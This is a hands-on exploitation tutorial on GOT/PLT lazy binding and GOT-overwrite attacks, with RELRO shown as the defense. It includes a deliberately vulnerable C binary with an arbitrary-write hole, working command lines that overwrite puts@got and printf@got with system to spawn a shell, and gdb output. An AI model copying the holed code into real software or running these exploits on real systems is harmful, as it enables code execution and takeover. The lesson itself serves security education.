Step 210. Understanding GOT/PLT and the GOT Overwrite — Hijacking Function Calls

Step 210. Understanding GOT/PLT and the GOT Overwrite — Hijacking Function Calls

Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★★ | Estimated time: 6 hours

Prerequisites: Step 209 (finishing pwnable.kr, the existence of passcode), Step 177 (reading gdb disassembly). The memory instincts from Steps 62–65.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: WSL Ubuntu (gcc, gdb), pwntools’ checksec. The measured environment is Ubuntu 24.04, gcc 13.3.0, gdb 15.1, glibc 2.39.
  • Caution: the vulnerable binary we build today (got_vuln) is deliberately holed for learning. Delete it when you’re done, or keep it inside your lab only.

When a program calls puts, where does that address come from? At compile time, nobody knows — puts lives in a library (libc), and where that library lands in memory is decided at run time. So the program keeps an address table (GOT) and looks up and writes down the address on the first call. Today’s attack is simple — overwrite that address table. Code that calls puts ends up executing system. Step 209’s passcode was exactly this attack.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain the roles of the PLT (jump pads) and the GOT (address table), and the sequence of lazy binding
  • Watch the GOT value change before and after a function’s first call, with gdb
  • Read a binary’s GOT layout and RELRO status with objdump -R and checksec
  • Overwrite puts@got with system using an arbitrary-address-write primitive to hijack the flow
  • Explain the difference between Partial RELRO and Full RELRO in terms of whether the attack succeeds

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment C + gdb disassembly (measured: Ubuntu 24.04, gcc 13.3.0, gdb 15.1, glibc 2.39)
Today’s commands objdump -R ./binary, objdump -d -j .plt.sec, gdb’s x/gx address, p system, pwn checksec, setarch -R
Concepts needed Dynamic linking, PLT/GOT, lazy binding, arbitrary address write, RELRO
Today’s deliverables A lazy-binding observation log + a successful GOT overwrite log + a RELRO comparison write-up

2-1. Why an Address Table Is Needed — Dynamic Linking

Functions like printf, puts, and system are not inside your binary. They live in the shared library libc.so, and the program dynamically links with that library when it runs. The problem is that ASLR loads libc at a different address every time — a compiled binary sets out without knowing puts‘ real address.

Hence two devices. The PLT (Procedure Linkage Table) — a "per-function jump pad." Code always jumps to a fixed address called puts@plt. The GOT (Global Offset Table) — a "per-function address table." The jump pad jumps again to whatever address is written in the table. Code fixed, table variable — this single layer of indirection is all there is to dynamic linking.

2-2. Lazy Binding — The Address Is Found on the First Call

Finding the addresses of hundreds of functions the program may never use would make startup slow, so the default behavior is lazy binding. Initially the GOT holds a detour pointing to "the one who finds addresses" (the loader’s resolver). On the first call, the resolver finds the real address and writes it over the GOT; from the second call on, the table is read directly. "Ask once, then consult the memo" — today we watch the moment that memo gets stamped, in gdb.

2-3. The GOT Overwrite — Overwrite the Table and the Call Is Hijacked

This is the attack point. The GOT is a table that gets written during execution — that is, memory with write permission. If an attacker gains the ability to "write a value to an arbitrary address" (Step 209 passcode’s scanf bug, or a format-string bug), they can write system‘s address into puts‘ slot. Later, when the program calls puts("/bin/sh") — the code called puts, but what executes is system("/bin/sh"). A shell.

2-4. RELRO — The Defense That Locks the Table Read-Only

The countermeasure is RELRO (RElocation Read-Only). Partial RELRO (the default) protects only part of the GOT, leaving the function address table (.got.plt) writable. Full RELRO resolves every address at startup (giving up lazy binding) and locks the entire GOT read-only — the overwrite attack itself dies as a segfault. Today we distinguish the two states with checksec and measure exactly how the attack fails under Full RELRO.


3. Follow Along

3-1. Preparing the Subject — A Program That Calls puts Twice

Input (hello.c)

#include <stdio.h>
int main(void) {
    puts("first call");
    puts("second call");
    return 0;
}
mkdir -p ~/lab209_213 && cd ~/lab209_213
gcc -no-pie -o hello hello.c
objdump -R ./hello
DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000403fd8 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.34
0000000000403fe0 R_X86_64_GLOB_DAT  __gmon_start__@Base
0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

(Measured 2026-09-09. Addresses were fixed with -no-pie — this is number-reading practice.)

How to read the output: the last line is today’s star — a layout notice saying "puts’ address-table slot is 0x404000." JUMP_SLOT means "the slot the PLT reads when it jumps."

3-2. The Jump Pad in the Flesh — PLT Disassembly

objdump -d -j .plt.sec ./hello
Disassembly of section .plt.sec:

0000000000401040 <puts@plt>:
  401040:	f3 0f 1e fa          	endbr64
  401044:	ff 25 b6 2f 00 00    	jmp    *0x2fb6(%rip)        # 404000 <puts@GLIBC_2.2.5>

(Measured 2026-09-09.)

How to read the output: the body of puts@plt is effectively one line — jmp *0x404000. "Jump to wherever the address table at 0x404000 says." The code (the side calling puts) calls this jump pad for its entire life, and the real destination is delegated entirely to the table. So overwriting the table hijacks the call without touching a single line of code.

3-3. Witnessing Lazy Binding — The GOT Before and After the First Call

Open the 0x404000 slot with gdb, once before the first call and once after:

gdb -batch 
  -ex "break main" -ex "run" 
  -ex "x/gx 0x404000" 
  -ex "break *0x401157" -ex "continue" 
  -ex "x/gx 0x404000" 
  ./hello
Breakpoint 1, 0x000000000040113e in main ()
0x404000 <puts@got.plt>:	0x0000000000401030

Breakpoint 2, 0x0000000000401157 in main ()
0x404000 <puts@got.plt>:	0x00007ffff7c87cc0

(Measured 2026-09-09. 0x401157 is right before the second call puts@plt in main — i.e., the point where the first call has finished. The address was confirmed in the disassembly.)

How to read the output:

  • Before the first call: 0x401030 — an address inside the binary, not libc. This is the "detour to the resolver" behind the PLT. It means the real puts address isn’t known yet.
  • After the first call: 0x00007ffff7c87cc0 — an address in libc territory, starting with 0x7fff.... The resolver found the real puts on the first call and wrote it over the slot.

Confirm the latter really is puts:

$1 = {int (const char *)} 0x7ffff7c87cc0 <__GI__IO_puts>

(Measured 2026-09-09, p puts in gdb.) It’s libc’s puts itself. We’ve seen the moment the memo gets stamped — this is lazy binding made real.

3-4. The Attack — Overwriting puts@got with system

Now the real attack, on a vulnerable binary. Like Step 209’s passcode, we deliberately make a hole where "the user decides the address and the value":

Input (got_vuln.c)

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    unsigned long addr, value;
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("GOT overwrite practice binary");
    printf("address to overwrite (hex): ");
    scanf("%lx", &addr);
    printf("value to write (hex): ");
    scanf("%lx", &value);
    *(unsigned long *)addr = value;   /* vulnerability: arbitrary address write */
    puts("/bin/sh");                  /* if puts@got is system, a shell pops */
    puts("if you see this line, the overwrite failed");
    return 0;
}
gcc -no-pie -o got_vuln got_vuln.c

Find the two numbers the attack needs — the address of puts’ GOT slot and system’s real address:

objdump -R ./got_vuln | grep puts     # → 0000000000404000 R_X86_64_JUMP_SLOT puts
gdb -batch -ex "break main" -ex run -ex "p system" ./got_vuln
$1 = {int (const char *)} 0x7ffff7c58750 <__libc_system>

(Measured 2026-09-09. gdb disables ASLR by default, so this address is fixed. We also run the attack with setarch -R to turn ASLR off so the same address holds — in real work the address is discovered via a leak, but today’s topic is "the overwriting structure," so ASLR stays off for now.)

Running the attack:

printf "404000n7ffff7c58750necho GOT_HIJACKED_MARKERnid -unnexitn" | setarch -R ./got_vuln
GOT overwrite practice binary
address to overwrite (hex): value to write (hex): GOT_HIJACKED_MARKER
root
sh: 1: if: not found

(Measured 2026-09-09.)

How to read the output: look at three pieces of evidence.

  1. GOT_HIJACKED_MARKER — the echo command we sent executed. A shell popped.
  2. root — the output of id -un. A real shell.
  3. sh: 1: if: not found — the decisive evidence. After exit ended the shell, the program called its last puts("if you see this line, the overwrite failed"), but puts@got was still system, so system("if you see this line, the overwrite failed") ran, and sh couldn’t find a command called "if". Note that the string "if you see this line…" itself was never printed — puts is completely gone; only system remains.

The code called puts twice, but what executed was system twice. The result of overwriting a single address-table slot.

3-5. Measuring the Defense — What Happens Under Full RELRO?

Compile the same binary with Full RELRO and compare:

gcc -no-pie -Wl,-z,now -o hello_full hello.c
pwn checksec ./hello_full | grep RELRO
    RELRO:      Full RELRO

(Measured 2026-09-09. For reference, 3-1’s hello was Partial RELRO. -Wl,-z,now is the switch for "bind everything at startup and lock it.")

Look at the GOT at the start of main:

0x403fe8 <puts@got.plt>:	0x00007ffff7c87cc0

(Measured 2026-09-09.) Before any call, the real address is already there — lazy binding was abandoned and everything was resolved at startup. And the permissions of that page:

0x403000           0x404000     0x1000     0x2000  r--p   /root/lab209_213/hello_full

r--pread-only. Attempt the overwrite in this state:

gcc -no-pie -Wl,-z,now -o got_vuln_full got_vuln.c
printf "403fc8n7ffff7c58750n" | setarch -R ./got_vuln_full
GOT overwrite practice binary
address to overwrite (hex): value to write (hex): Segmentation fault (core dumped)

(Measured 2026-09-09.) A segfault the instant the write is attempted. The attack was stopped not by technique but by permissions. That’s why the first button of real-world Pwn is reading checksec — the RELRO status tells you in advance whether a GOT overwrite will go through.


4. Missions & Exercises

Mission — Overwriting printf@got

Modify got_vuln.c into got2.c: replace the last two puts calls with printf("%sn", "/bin/sh"); followed by one informational printf, then:

  1. Find printf’s GOT slot with objdump -R
  2. Find system’s address and overwrite printf@got
  3. Secure the same evidence as with puts (the shell marker executes)
  4. Write in your notes: "the PLT was untouched; only one GOT slot changed — I attacked the table, not the code"

Exercises

Problem 1. In 3-3, why was the pre-first-call GOT value 0x401030 an address inside the binary rather than a libc address? What sits at that address?

Problem 2. Lazy binding is an optimization for faster program startup. Why, from a security perspective, does it cause the weakness of "a writable GOT"?

Problem 3. Explain why sh: 1: if: not found appeared at the end of 3-4. Why was the string "if you see this line, the overwrite failed" never printed on screen?

Problem 4. At exactly what point does a GOT overwrite fail on a Full RELRO binary? (Hint: it wasn’t technique that blocked it — what did?)


5. Model Answers & Completion Criteria

Mission Model Answer

Find printf’s GOT slot with objdump -R ./got2 | grep printf (for reference, in 3-4’s got_vuln, printf was at 0x404010 — the order may differ in your got2, so always re-check), confirm system’s address with gdb, then:

printf "404010n7ffff7c58750necho PRINTF_HIJACKEDnexitn" | setarch -R ./got2

If PRINTF_HIJACKED appears, it worked. puts or printf — the structure is completely identical: the jump pad (PLT) is a single jmp *table_slot, and overwrite that slot with system and every one-argument function call becomes system. This is also why passcode targeted fflush@got — even with no system call anywhere in the source, overwriting the table creates one.

How to verify: ① did the shell marker execute, ② does your note say "attack target = data (GOT), not code."

Exercise Answers

Problem 1 answer. Because of lazy binding, the real address doesn’t exist yet before the first call. At 0x401030 sits the detour behind the PLT — code that pushes the relocation number onto the stack and jumps to the loader’s resolver. As the first call passes through the resolver, the real address (0x7ffff7c87cc0) is recorded in the GOT.

Problem 2 answer. Lazy binding must rewrite the GOT during execution, so the GOT page must keep write permission. "A table written during execution" is also "a table an attacker can write." The optimization (resolve late) forces the permission (allow writes), and that permission becomes the attack surface — a textbook trade-off.

Problem 3 answer. Because puts("if you see this line, the overwrite failed") was called while puts@got was overwritten with system. The jump pad trusted the table and went to system; sh interpreted that string as a command and failed looking for its first word, "if". The very fact that the string was never printed is evidence that "puts is gone."

Problem 4 answer. Memory permissions. Full RELRO finishes binding at startup and locks the GOT page r--p (read-only). The moment *(unsigned long *)addr = value executes, the OS detects a write violation and sends SIGSEGV — in our measurement it died at exactly that point. It was blocked not by technique but by hardware memory protection.

Completion Criteria Checklist

  • [ ] I can explain the roles of PLT and GOT (jump pad / address table) in one sentence each
  • [ ] I can read the meaning of a JUMP_SLOT line in objdump -R
  • [ ] I reproduced the GOT value change before/after the first call (0x401030 → 0x7ffff7…) in gdb
  • [ ] I can explain the lazy-binding sequence (detour → resolver → real address recorded)
  • [ ] I overwrote puts@got with system in got_vuln and popped a shell
  • [ ] I can explain the Partial vs Full RELRO difference using checksec output and page permissions
  • [ ] Mission: I completed the printf@got overwrite and wrote up my notes

6. Common Pitfalls & Fixes

Wall 1. I overwrote it but got a segfault instead of a shell

Symptom: it dies the moment you enter the address and value.
Cause: one of two things — ① the GOT slot address was wrong (you wrote who-knows-where), or ② you tried it on a Full RELRO binary. The latter is the write-violation segfault we measured.
Fix: re-check the slot address with objdump -R, and look at RELRO status first with pwn checksec ./binary. If it says Full RELRO, GOT overwrite is not the path.

Wall 2. system’s address is different every time

Symptom: the address you found yesterday doesn’t work today.
Cause: ASLR. Outside gdb, ordinary runs load libc somewhere different each time.
Fix: today’s practice used setarch -R to disable ASLR and focus on the structure. In real work you first leak a libc address (read an address that escaped) through another hole in the binary, then compute system from the offset. Leaks arrive in Step 214’s full exploit.

Wall 3. Addresses differ inside and outside gdb

Symptom: you overwrote with the system address you saw in gdb, but no shell.
Cause: gdb disables ASLR by default; ordinary runs have it on — the two libc bases differ.
Fix: align your experimental conditions — run with setarch -R ./binary to disable ASLR, and the address will match what gdb showed (today’s measured method).

Wall 4. pwn checksec doesn’t work

Symptom: the pwn command is not found.
Cause: pwntools is installed only inside a venv.
Fix: source ~/venv/bin/activate (or your venv path) and then use pwn checksec. Without a venv you can estimate with readelf -lW ./binary | grep GNU_RELRO plus the presence of -z now — but checksec is far more convenient, so make entering the venv your default.

Wall 5. I get the structure, but "why does overwriting only matter after the first call?" confuses me

Symptom: you can’t explain what happens if you overwrite before the first call.
Cause: if you overwrite the GOT before the first call, the jump pad goes straight to the overwritten address, skipping the resolver — so the hijack actually works even before the first call. It merely bypasses the resolver.
Fix: the core isn’t timing; it’s that "the jump pad trusts the table unconditionally." That trust is the root of the attack.


7. Summary

Today’s Concepts

Concept One-line description
PLT Per-function jump pad — code always jumps here and only here
GOT Per-function address table — the table the jump pad reads for the real destination
Lazy binding The scheme where the resolver finds the address on the first call and records it in the GOT
GOT overwrite The attack that hijacks calls by overwriting a table slot with system, etc.
Arbitrary address write The attack’s precondition — passcode’s scanf bug, format strings, etc.
RELRO The defense that locks the GOT read-only — Partial leaves .got.plt open, Full locks everything

Today’s Commands

Command What it does
objdump -R ./binary View the GOT slot layout (relocation records)
objdump -d -j .plt.sec ./binary Disassemble the PLT jump pads
gdb x/gx 0x404000 Read the current value of a GOT slot
gdb p system Check a library function’s real address
pwn checksec ./binary RELRO, canary, NX, PIE status at a glance
setarch -R ./binary Run with ASLR off (unify experimental conditions)

The Sense That Matters More Than Commands

Today’s attack didn’t modify a single line of code. What changed was data — one slot of an address table. The sense that "code can be trusted, but data is within the attacker’s reach," and the fact that the jump pad trusts the table without verification — that is all there is to GOT overwrite, and the root sense behind every control-flow attack that follows (all the way to ROP).

From the defender’s seat, the picture inverts. One Full RELRO switch turned this entire attack into a segfault. Learn the attack and you see what a defense switch is worth — you confirmed with your own hands today why one line of checksec matters.


Once every box is checked, Step 210 is complete.